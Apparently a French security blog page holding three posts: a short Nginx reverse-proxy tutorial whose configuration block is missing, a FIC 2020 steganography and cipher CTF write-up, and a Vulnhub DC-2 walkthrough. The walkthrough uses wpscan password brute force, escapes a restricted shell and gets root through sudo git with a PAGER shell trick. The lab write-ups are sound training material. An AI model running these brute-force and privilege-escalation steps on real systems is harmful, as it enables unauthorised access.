Mise en avant

Reverse Proxy Nginx (Quick and Dirty)

Bonjour,

Dans cet article nous allons voir comment installer et configurer nginx en tant que reverse proxy pour une appli qui écouterait sur un port local du serveur (nodejs, docker, toussa toussa).

 

1: Installation de nginx :

Sous debian like:

#apt-get install nginx

Sous RH like :
#yum install nginx

2: Configuration de nginx (http only)

Dans le repertoire /etc/nginx/sites-enabled , il faudra créer un fichier de configuration. Nous prendrons comme exemple la configuration du site toto.com, avec une appli écoutant sur le port 8080 interne . On peut donc créer le fichier /etc/nginx/sites-enabled/toto.com.conf avec le contenu suivant :

on reload nginx :
#service nginx reload
Et on a un reverse-proxy de configuré avec un certificat ssl vers son appli docker ou nodejs etc.
Juste une chose, l’expiration du certificat ssl chez letsencrypt se faisant au bout de 3 mois, il faut renouveller régulièrement le certificat. Certbot permet de renouveler en une ligne de commande si le certificat approche de l’expiration, je conseille donc de mettre une tâche cron quotidienne pour renouveler le certificat (qui de toute manière se renouvellera que si il est proche de l’explication comme je viens de vous le dire!)
Pour ce faire, la petite tâche cron qu’on édite via la commande suivante :
#crontab -e
et on rajoute la ligne suivante dans le fichier qui va s’ouvrir :
0 0 * * * certbot renew –post-hook « systemctl reload nginx »
Cela vérifiera tous les jours à minuit si le serveur est proche de l’expiration, le renouvellera si besoin, et rechargera la configuration du certificat après mis à jour.
En espérant que ce tuto en mode quick and dirty puisse vous être utile.
Mise en avant

Write Up: FIC 2020 CDAISI epreuve 6.1

Voici l’énoncé du challenge :

 Un monstre qui prétend être « Dieu » à fait son apparition sur Terre !

Deux scientifiques, monsieur Morse et monsieur César suivaient ça trace, mais ils ont été tués dans un parc…

Ils ont laissé derrière eux une photo qu’ils ont pu prendre du fameux monstre.

Vous devez examiner la photo pour avoir des renseignements à propos de l’endroit où la photo a été prise !

Attention ! C’est TOP SECRET ! Ils ont sûrement chiffré les données !

À vous de jouer pour déchiffrer ces données et de trouver le lieu où le monstre peut bien se cacher…

Et le fichier image joint :

challenge.jpg

Nous avons un fichier image qui nous est fournit, on peut examiner les metadata via des outils en ligne, nous n’avons pas de coordonnées GPS enregistrées, mais cela nous permet de récupérer le mot de passe « FIC2020 » .

Avec le mot de passe , nous pouvons extraire un .zip via steghide, qui contient un fichier secret.txt, contenant un message qui semble être en morse :

.-.. . — . … … .- –. . .- . – . -.-. …. .. ..-. ..-. .-. . .–. .- .-. — .-. .-.-.- -.-. . … .- .-. –..– .. .-.. …- .- ..-. .- .-.. .-.. — .. .-. .-.. . -.. . -.-. — -.. . .-. .–. — ..- .-. .–. .- … … . .-. .- .-.. .- … ..- .. – . !

-… ..- .- -.– . -.- –.. -.- -.– …- -..- -.- -.– .– .- -.- -… ..- — .. — .-. -.- … …- .-. –. .. -.- … -.- – –.. ..- .- -.– -.- –.. -..- ..- .- -… -.- .-. –. –.. -..- –. .. -.- .— .- … ..- – -.– –.. -..- -.- :

..-. —– .-.-.- .. . . —– –. –. –..– -….- —– .-.-.- -… …. -.-. -… —– –. [A=0,B=1,…,Z=25]

Voici la traduction en utilisant un outil en ligne :

LE MESSAGE A ETE CHIFFRE PAR MR.CESAR, IL VA FALLOIR LE DECODER POUR PASSER A LA SUITE!

BUAY E KZKY VXKYWAKBUOIO RKSVRGIKSKTZ UA YK ZXUABK RGZXGIK JA SUTYZXK:

F0.IEE0GG, -0.BHCB0G

Pas de surprise, d’après le message, la seconde partie du texte a été chiffrée via le chiffrement de César, un chiffrement par décalage de lettre. On va encore utiliser un outil en ligne pour le déchiffrer :

VOUS Y ETES PRESQUEVOICI LEMPLACEMENT OU SE TROUVE LATRACE DU MONSTRE:

Ça nous ne apprend pas grand chose de plus, par contre les dernières parties du texte, avec une clé indiquant de modifier les lettres en chiffres, est interessante. En suivant la consigne, le message « F0.IEE0GG, -0.BHCB0G » devient : 50.844066, -0.172106

Petit tour sur googlemap, et ces coordonnées correspondent à Hove Park Gardens. Ca tombe bien, c’est bien le nom d’un parc comme demandé par l’enoncé. Il reste juste à hasher en md5 le nom du parc et à valider.

echo -n « Hove Park Gardens » | md5sum

3eebef4cb64dfdd0dfd31dfa1135b714

Challenge completed!

Vulnhub DC: 2 Write

On va aller direct à l’essentiel, et se balader un peu sur le site. Dans la partie Flag, on a un petit indice qui nous dit d’être cewl.

Bah on va être cewl!

Cewl est un petit outil qui crawl le site et permet d’enregistrer des mots clés d’un site dans un fichier, qui permettra de créer un dictionnaire de mot de passe qu’on pourra utiliser par la suite.

cewl –write passwddc2.txt http://dc-2

On va faire un petit scan du wordpress histoire de :

wpscan –url http://dc-2 –enumerate

Rien à signaler, pas de failles spécifiques à exploiter, on va donc lister les users :

wpscan –url http://dc-2 –enumerate u

On aura en résultat 3 users : admin, tom et jerry

On va donc bruteforce le site avec ces users et le dictionnaire de mot de passe qu’on a créé précédemment :

wpscan –url http://dc-2 -P passwddc2.txt –usernames ‘admin,tom,jerry’

on a deux résultats :

jerry : adipiscing et tom : parturient

En se baladant dans l’interface d’administration du wordpress, on voit rien de special, pas de plugin spécifique etc, il faut trouver un autre vecteur d’attaque.

Un petit nmap du serveur pour voir les services qui écoutent vers l’exterieur:

nmap -p-65535 dc-2

2 ports ouvert : 80 et 7744, pas de 22 pour le ssh, on peut penser a de l’obfuscation de port, et effectivement, on peut se connecter en ssh avec le user tom, ko avec jerry.

On se retrouve dans un rbash avec le user tom, et des commandes ne passent pas, comme ls, et il y a des filtres sur les commandes tapées contenant un /. En regardant la variable PATH, on remarque qu’on est dans une jail. Dans la liste des commandes disponibles on a less, ls scp et vi.

On tente de modifier la variable du path :

PATH=/bin

Ko, la variable du path est en readonly.

Je tente de modifier les fichiers .bashrc et .bash_profile, avec /bin en path, pas d’erreur en écrivant le fichier, une petite connexion / déconnexion, et on a accès a la liste de toutes les commandes présentes dans le /bin.

on va se connecter en jerry :

su jerry

On arrive bien avec le user jerry, on peut check les commandes sudo auxquelles il a accès :

sudo -l

User jerry may run the following commands on DC-2:

(root) NOPASSWD: /usr/bin/git

Cool, un vecteur d’escalade de privilège!

On va voir ce qu’on peut faire avec git en checkant le site https://gtfobins.github.io/gtfobins/git/#shell .

Voici ce que ca nous donne comme possibilité :

PAGER=‘sh -c « exec sh 0<&1 »’ git -p help

On va modifier un peu la commande pour l’execution avec sudo en root

PAGER=‘sh -c « exec sh 0<&1 »’ sudo -u root git -p help

On a bien accès a la page d’aide de git, on va pouvoir tapper la commande suivante pour avoir un shell:

!/bin/sh

# whoami

root

On semble avoir un shell en root, on ouvre /bin/bash histoire d’être plus à son aise, la machine est rootée.